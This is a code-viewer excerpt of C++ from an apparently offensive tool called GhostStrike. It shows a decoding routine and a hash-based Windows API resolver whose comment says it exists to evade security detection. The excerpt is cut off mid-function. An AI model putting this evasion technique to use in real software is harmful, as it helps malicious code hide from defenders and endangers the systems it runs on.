INNER CODE UNIT · C++

val

stivenhacker/GhostStrike · GhostStrike.cpp:63

        val = (val << 6) + T[c];
        valb += 6;
        if (valb >= 0) {
            ret.push_back((val >> valb) & 0xFF);
            valb -= 8;
        }
    }
    return ret;
}

// Resolves a function's address dynamically by hashing the function's name.
// This technique is used to avoid detection by traditional security mechanisms.
FARPROC get_api_function(DWORD module_hash, DWORD function_hash) {
    HMODULE module = nullptr;
    const char* module_names[] = { "kernel32.dll", "advapi32.dll", "user32.dll", "gdi32.dll", NULL };
    for (int i = 0; module_names[i] != NULL; ++i) {
        module = LoadLibraryA(module_names[i]);
        if (module && hash_function(module_names[i]) == module_hash) {

View source record →